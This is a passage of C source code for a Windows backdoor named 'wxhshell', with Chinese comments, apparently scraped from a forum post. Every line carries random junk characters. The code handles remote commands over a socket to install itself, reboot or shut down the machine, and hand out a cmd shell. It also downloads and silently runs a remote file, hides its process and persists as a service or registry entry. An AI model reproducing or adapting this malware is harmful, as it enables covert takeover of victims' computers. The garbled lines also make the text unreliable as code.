  } 6/WK((Fd  
  else { K1wN9D{t'  
MnrGD>M@|  
    switch(cmd[0]) { :"+UG-S$6  
  yU8Y{o;:  
  // 帮助 8UY=}R2C  
  case '?': { pQ-^T.'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); LK-6z w5=(  
    break; oTV8rG  
  } SAxa7B/U2  
  // 安装 #* /W!UOu  
  case 'i': { V]PhXVJ  
    if(Install()) R_*D7|v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j?KB8oY`TP  
    else $?JLCa  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]ieA?:0Hi  
    break; f/WM}Hpj  
    } i7!mMO8]  
  // 卸载 ZT6X4 Z  
  case 'r': { AL$ Ty  
    if(Uninstall()) gW pT:tX-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qLi1yH  
    else IWRq:Gw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wj :3  
    break; /zP)2q^  
    } V-U  ^O45  
  // 显示 wxhshell 所在路径 lXk-86[M  
  case 'p': { 2WECQl=r  
    char svExeFile[MAX_PATH]; ]Q_G /e  
    strcpy(svExeFile,"\n\r"); 4bJ2<j  
      strcat(svExeFile,ExeFile); n; '~"AG)  
        send(wsh,svExeFile,strlen(svExeFile),0); 'GdlqbX(%  
    break; J ]^gF|  
    } A%8`zR  
  // 重启 l|tp0[  
  case 'b': { 3% 4Mq6Q`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); D.Cs nfJ  
    if(Boot(REBOOT))  Dmv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $cpQ7  
    else { kkBV;v%a  
    closesocket(wsh); =28H^rK{  
    ExitThread(0); ?9okjLp1n  
    } D}/.;]w<[&  
    break; gx9sBkoq5D  
    } *]| JX&  
  // 关机 T2PFE4+Dp  
  case 'd': { a1sLRqo8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7<'i#E~  
    if(Boot(SHUTDOWN)) :-@P3F[0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d*:qFq_  
    else { Ol h%"=*;  
    closesocket(wsh); wQuaB6E  
    ExitThread(0); 0]w[wc <  
    } 1Y"qQp  
    break; Ri6 br  
    } =ZIFS  
  // 获取shell  eV=sDx  
  case 's': { ./*,Thc  
    CmdShell(wsh); >Pd23TsN  
    closesocket(wsh); JP*wi-8D  
    ExitThread(0); Y'H/ $M N  
    break; xdU pp~}+.  
  } _$_CR\$  
  // 退出 FT<*  
  case 'x': { z>g& ?vo2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ywk[VD+.  
    CloseIt(wsh); kJpHhAn4  
    break; 2Xs< 1rF  
    } 0bL=l0N$W  
  // 离开 <=2*UD |  
  case 'q': {  k*6eZ7  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); N$\5%  
    closesocket(wsh); ;|1P1H-W~M  
    WSACleanup(); (gC^5&11  
    exit(1); V+ ~2q=  
    break; MCpK^7]k  
        } @gGuV$Mw  
  } yf^gU*  
  } eV+wnE?SB5  
g)6 k?Y  
  // 提示信息 mBkQ 8e  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $ rnr;V  
} q8v!{Os+#  
  } Guc^gq}  
>mSl~.I2  
  return; #@"rp]1xv  
} >ZsK5v  
OWfj<#}t+  
// shell模块句柄 :%]R x&08  
int CmdShell(SOCKET sock) uQ+$HzxX  
{ V)jhyCL  
STARTUPINFO si; YVp0}m  
ZeroMemory(&si,sizeof(si)); :2gO) 'cD  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vrx3O  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; CnA)>4E*'  
PROCESS_INFORMATION ProcessInfo; emIbGkH  
char cmdline[]="cmd"; Pg C]@Q%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G"sc;nT  
  return 0; m 4LM10  
} RA67w&  
X1D:{S[  
// 自身启动模式 X_8NW,  
int StartFromService(void) 6x8|v7cMH  
{ wIHz TL  
typedef struct %d\+(:uu/  
{ A8Y~^wn  
  DWORD ExitStatus; T`[ZNq+${  
  DWORD PebBaseAddress; )`7h,w J[1  
  DWORD AffinityMask; 5R G5uH/-<  
  DWORD BasePriority; ^TK)_wx  
  ULONG UniqueProcessId; :e vc  
  ULONG InheritedFromUniqueProcessId; /! G0 g%k  
}   PROCESS_BASIC_INFORMATION; ~,7R*71  
%=eD)p7l-  
PROCNTQSIP NtQueryInformationProcess; 3iL&;D  
iiB$<b.((I  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; rWmi 'niu  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; M_I\:Q  
D8XXm lo  
  HANDLE             hProcess;  ?C\9lLX  
  PROCESS_BASIC_INFORMATION pbi; Xq^{P2\w1  
" N4]e/.V  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6E4L4Vb  
  if(NULL == hInst ) return 0; JwVv+9hh  
th|Q NG  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); aX:$Q }S  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6* w;xf  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); P .(X]+  
Us.jyg7_c  
  if (!NtQueryInformationProcess) return 0; 1Xc%%j  
ghiElsBU  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7|Y8^T s  
  if(!hProcess) return 0;  t/(j8w  
)}5r s  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; b=EZtk6>  
n_glYSV!  
  CloseHandle(hProcess); &t4(86Bmq  
Vd~k4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +N:%`9}2V  
if(hProcess==NULL) return 0; Zv7)+ Q  
=v9;HPiO  
HMODULE hMod; SBt: `,  
char procName[255]; inrL'z   
unsigned long cbNeeded; %)V3QnBO  
fsu "Lc  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); j]^]p; An  
p(%x&*)f  
  CloseHandle(hProcess); ?OFvGd  
<'33!8 G  
if(strstr(procName,"services")) return 1; // 以服务启动 $<PVzW,$o  
\SR  
  return 0; // 注册表启动 >O=V1  
} 2[eY q1f!  
:{2$X|f 3  
// 主模块 x]T;W&s  
int StartWxhshell(LPSTR lpCmdLine) u{ /gjv  
{ TmiQq'm[b  
  SOCKET wsl; cPSu!u}D  
BOOL val=TRUE; ]=Q'1%  
  int port=0; HDOaN  
  struct sockaddr_in door; In2D32"F  
,zaveQ~l  
  if(wscfg.ws_autoins) Install(); B%/Pn 2  
\Qn8"I83AV  
port=atoi(lpCmdLine); P2kZi=0  
huIr*)r&p  
if(port<=0) port=wscfg.ws_port; ~ 5b %~:  
wd *Jq  
  WSADATA data; uPPe"$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; gu!A:Q  
arJ[.f9s  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   OoNAW<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }2S \-  
  door.sin_family = AF_INET; oCS NA.z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Mtr~d  
  door.sin_port = htons(port); bMYRQ,K`C  
D~}4N1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { qMkP/BjV  
closesocket(wsl); x4K5  
return 1; FKP^f\!M  
} j&9~OXYv  
N INiX(  
  if(listen(wsl,2) == INVALID_SOCKET) { F)G#\r  
closesocket(wsl); (@Bm2gH  
return 1; bvG Vfr "  
} >vhyKq|g<  
  Wxhshell(wsl); iy 5  
  WSACleanup(); kMA>)\  
U Lq%,ca  
return 0; RfD$@q9  
Y~6pJNR  
} gE&f}M-  
E:ytdaiT  
// 以NT服务方式启动 ;&!l2UB%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6`i'  
{ g7pFOcV  
DWORD   status = 0; =[,adB  
  DWORD   specificError = 0xfffffff; jn[a23;G)  
iX28+weH  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ':=C2x1d|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; t65!2G"<  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {SJLM0=Z  
  serviceStatus.dwWin32ExitCode     = 0; c?d#Bj ?  
  serviceStatus.dwServiceSpecificExitCode = 0; TJ<PT  
  serviceStatus.dwCheckPoint       = 0; E$T#o{pai  
  serviceStatus.dwWaitHint       = 0; jL# akV  
*=8)]_=f  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +2?[=g4;}  
  if (hServiceStatusHandle==0) return; ?/\;K1c p  
C"}x=cK  
status = GetLastError(); xl3U  
  if (status!=NO_ERROR) !l~hO  
{ ra3WLK  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @P-7a`3*  
    serviceStatus.dwCheckPoint       = 0; km^AX:r1  
    serviceStatus.dwWaitHint       = 0; z(ajR*\#  
    serviceStatus.dwWin32ExitCode     = status; B@4#y9`5  
    serviceStatus.dwServiceSpecificExitCode = specificError; E_OLf%um  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); x[X.// :  
    return; =P!Vi6[gF~  
  } -} (W=r\  
C9z{8 ;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; OKP?^%kD  
  serviceStatus.dwCheckPoint       = 0; &+ IXDU  
  serviceStatus.dwWaitHint       = 0; JjwuxZVr O  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +%yh@X6  
} ps]6,@uyB  
3B0%:Jj  
// 处理NT服务事件,比如:启动、停止 ;# {x_>M  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (7IF5g\  
{ Q*wx6Pu8  
switch(fdwControl) %bsdC0xM  
{ 5q<kt{06\  
case SERVICE_CONTROL_STOP: JsC0^A;fM  
  serviceStatus.dwWin32ExitCode = 0; *,. {Xf  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4Vs;Y&t]  
  serviceStatus.dwCheckPoint   = 0; y|aWUX/a  
  serviceStatus.dwWaitHint     = 0; yDKX,  
  { L=$P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fkYQ3d,`  
  } Vf@/}=X *  
  return; 2#R"#Q!  
case SERVICE_CONTROL_PAUSE: FR <wp  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; eZv0"FK X  
  break; [  /D/  
case SERVICE_CONTROL_CONTINUE: Kq*^*vWC  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; rEViw?^KT  
  break; S.I<Hs  
case SERVICE_CONTROL_INTERROGATE: <[q)2 5RL  
  break; A-~)7-  
}; gp}S 1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k4@GjO1"$  
} (X8N?tJ  
L]V K9qB  
// 标准应用程序主函数 u,C-U!A  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) dU\fC{1Z  
{ PyoLk  
4e:hKv,+4  
// 获取操作系统版本 qUo(hbp  
OsIsNt=GetOsVer(); @ f$P*_G   
GetModuleFileName(NULL,ExeFile,MAX_PATH); q<1@ut  
K,RIa0)  
  // 从命令行安装 D,7! /u'  
  if(strpbrk(lpCmdLine,"iI")) Install(); #8`G&S*  
R 'F|z{8  
  // 下载执行文件 cr!I"kTgD  
if(wscfg.ws_downexe) { %H@fVWe2wT  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }X$>84s>[P  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5ZSw0A(w  
} 5t PmrWZ  
$&4Zw6"=  
if(!OsIsNt) { 5!Guf?i  
// 如果时win9x,隐藏进程并且设置为注册表启动 s)C.e# xl  
HideProc(); =m40{  
StartWxhshell(lpCmdLine); i"b*U5k  
} V=c&QPP  
else DJbj@ 2W[  
  if(StartFromService()) J:>TV.TP  
  // 以服务方式启动 G0^PnE0-  
  StartServiceCtrlDispatcher(DispatchTable); |h'ugx1iY  
else MDlC U  
  // 普通方式启动 ^cY5!W.q8  
  StartWxhshell(lpCmdLine); 0+L5k!1D  
iD\joh-C  
return 0; Ft]sTA+C  
}
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只看该作者 1 发表于: 2006-10-10
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